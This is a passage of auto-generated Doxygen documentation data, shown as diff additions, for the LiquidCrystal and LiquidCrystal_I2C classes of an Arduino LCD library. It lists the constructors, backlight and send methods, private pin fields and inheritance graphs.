'class_liquid_crystal_1a56142f8b3753bedd133e4139e5eb5089'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'send'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '99'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command. + + Users should never call this method. + + @param value Value to send to the LCD. + @result mode LOW - write to the LCD CGRAM, HIGH - write a command to + the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1aa2b898366e1c656ac313b9007c98cebd'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklight'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '125'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. For dimming control of the + backlight, the configuration pin must be a PWM output pin. Dim control + is achieved by passing a value from 1 to 255 as a parameter. If the + pin configured when calling the setBacklightPin does not support PWM, + then: (0) backlight off, (1..255) backlight on. + + @param value: backlight value. 0: off, 1..255: dim control of the + backlight. For negative logic 255: off, 254..0: dim control. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a63740dc1198d8169a39d9c6daff0efc9'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklightPin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '109'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. + + @param pin: pin assigned to the backlight + @param pol: backlight pin control polarity (POSITIVE, NEGATIVE). +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1ae45eec827b26174f73e9cf3ddda635af'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'init'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'fourbitmode'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '136'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Initializes the LCD pin allocation and associated HW + @discussion Initializes the LCD pin allocation and configuration. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a44d84c010396c993f124d2feb9dc794d'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'pulseEnable'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '152'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Pulse the LCD enable line (En). + @discussion Sends a pulse of 1 uS to the Enable pin to execute an command + or write operation. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a641301bc315a4e167c5aee7ea99993fd'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'writeNbits'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'numBits'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '144'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Writes numBits bits from value value to the LCD. + @discussion Writes numBists bits (the least significant) to the LCD control + data lines. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal_1a23a1807a1fe4210ac7cfca9b779513ea'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_backlightPin'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '158'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal_1a0b2da39d056aed9940b0525e554668d7'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_data_pins'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '157'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal_1aef7d920abae32b5faa2625ffa3879c4b'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_enable_pin'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '156'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal_1affd20665bda00d8b0e37d5ee87543e81'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_rs_pin'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '154'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal_1a29061eaa64c2e9f3b985ff52249b62a9'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_rw_pin'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '155'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + cp-fileline = '45'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-inheritancegraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 10; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 9; + node-label = 'LiquidCrystal'; + node-link = { + node-link-id = 'class_liquid_crystal'; + }; + node-child = { + child-id = '10'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; + cp-collaborationgraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 12; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 11; + node-label = 'LiquidCrystal'; + node-link = { + node-link-id = 'class_liquid_crystal'; + }; + node-child = { + child-id = '12'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +class = { + cp-id = 'class_liquid_crystal___i2_c'; + cp-name = 'LiquidCrystal_I2C'; + cp-ref = { + ref-type = base; + ref-id = 'class_l_c_d'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1aeee2ada537f0cfbfda8613324b57c4a6'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'begin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'cols'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rows'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'charsize'; + sec-mem-param-defval = <<_EnD_oF_dEf_TeXt_ +LCD_5x8DOTS +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '110'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract LCD initialization and associated HW. + @discussion Initializes the LCD to a given size (col, row). This methods + initializes the LCD, therefore, it MUST be called prior to using any other + method from this class or parent class. + + The begin method can be overloaded if necessary to initialize any HW that + is implemented by a library and can't be done during construction, here + we use the Wire class. + + @param cols[in] the number of columns that the display has + @param rows[in] the number of rows that the display has + @param charsize[in] size of the characters of the LCD: LCD_5x8DOTS or + LCD_5x10DOTS. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a9fc9bc519ebbf7503dadc11622e02ed6'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_I2C'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lcd_Addr'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'backlighPin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '53'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1add1f2da7de4ec9b9cd5c9b5fab712464'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_I2C'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lcd_Addr'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'En'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'backlighPin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '70'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a7d9b54d3a91fa0e0e50db27cda6b4654'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_I2C'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lcd_Addr'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'En'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '89'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the I2C address of the + LCD. The constructor does not initialize the LCD. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. + @param En[in] LCD En (Enable) pin connected to the IO extender module + @param Rw[in] LCD Rw (Read/write) pin connected to the IO extender module + @param Rs[in] LCD Rs (Reset) pin connected to the IO extender module + @param d4[in] LCD data 0 pin map on IO extender module + @param d5[in] LCD data 1 pin map on IO extender module + @param d6[in] LCD data 2 pin map on IO extender module + @param d7[in] LCD data 3 pin map on IO extender module +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a517f8847ebf09f0eacfb9c7232975fce'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_I2C'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lcd_Addr'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'En'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rs'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '67'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the I2C address of the + LCD. The constructor does not initialize the LCD. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. + @param En[in] LCD En (Enable) pin connected to the IO extender module + @param Rw[in] LCD Rw (Read/write) pin connected to the IO extender module + @param Rs[in] LCD Rs (Reset) pin connected to the IO extender module +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1ab15622287533de7a47f3e2012ebf18be'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_I2C'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lcd_Addr'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'En'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'backlighPin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '93'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1aac537d195557e0b8afac1a71441a484c'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_I2C'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lcd_Addr'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '51'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the I2C address of the + LCD. The constructor does not initialize the LCD. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a8bf1fab7efe13e8b17b96c42d1f810b4'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'send'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '124'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command. + + Users should never call this method. + + @param value[in] Value 